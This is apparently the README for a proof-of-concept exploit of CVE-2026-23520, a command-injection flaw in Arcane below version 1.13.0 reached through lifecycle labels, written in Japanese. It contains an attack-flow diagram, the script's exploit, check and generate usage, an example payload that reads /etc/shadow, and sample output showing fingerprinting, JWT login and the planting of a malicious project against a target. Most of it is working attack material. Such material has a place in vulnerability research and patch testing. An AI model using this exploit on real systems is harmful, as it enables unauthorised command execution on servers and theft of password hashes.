攻撃者（低権限ユーザー）                   Arcane サーバー
 ────────────────────────                   ──────────────
 1. 認証（任意のユーザー）  ──────────►  JWT 発行
 2. 悪意のあるライフサイクルラベルを         ラベル付きプロジェクトが
    含むプロジェクトを作成  ──────────►  保存される
                                             │
         ┌───────────────────────────────────┘
         │  3. 管理者がコンテナ更新をトリガー
         ▼
    Arcane アップデーターがラベル値を読み取る
    それを /bin/sh -c に渡す
         │
         ▼
    *** 任意のコマンド実行 ***
    （コンテナスコープ、またはボリュームがマウントされている場合はホスト）

python3 poc_cve_2026_23520.py check -t <TARGET_IP>

python3 poc_cve_2026_23520.py exploit \
    -t <TARGET_IP> \
    -u <USERNAME> \
    -p <PASSWORD> \
    --payload "id"

python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"

python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>

usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...

positional arguments:
  {exploit,check,generate}
    exploit             Arcane API 経由で悪意のあるプロジェクトを展開
    check               Arcane をフィンガープリントし、脆弱かどうかを確認
    generate            悪意のある compose ファイルを生成（ネットワーク不要）

options:
  -h, --help            このヘルプメッセージを表示して終了
  -v, --verbose         プロービングのデバッグ出力を表示

   ╔═══════════════════════════════════════════════════════╗
   ║          CVE-2026-23520  PoC Exploit                  ║
   ║    Arcane < 1.13.0 — Lifecycle Label RCE              ║
   ╚═══════════════════════════════════════════════════════╝

  ── Step 1 · ターゲットのフィンガープリント ──
  [*] Target: http://10.129.7.208:3552
  [*] バージョンエンドポイントをプロービング中 …
  [+] /api/version 経由でバージョンを検出
  [+] Arcane バージョン: v1.12.4
  [+] バージョン v1.12.4 は < 1.13.0 — 脆弱

  ── Step 2 · 認証 ──
  [*] 攻撃者として認証中 …
  [+] /api/auth/login 経由で JWT を取得

  ── Step 3 · 環境の検出 ──
  [*] 環境エンドポイントをプロービング中 …
  [+] /api/environments 経由で 1 つの環境を検出
  [*]   → 1  (local)
  [+] 環境を使用: 1

  ── Step 4 · 悪意のあるプロジェクトの仕込み ──
  [*] ライフサイクルラベルにペイロードを注入: pre-update
  [*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
  [*] Value : id
  [+] /api/environments/1/projects 経由でプロジェクトを作成

  ── エクスプロイトの仕込みが完了 ──
  [+] 悪意のあるプロジェクトは更新トリガーを待機中です。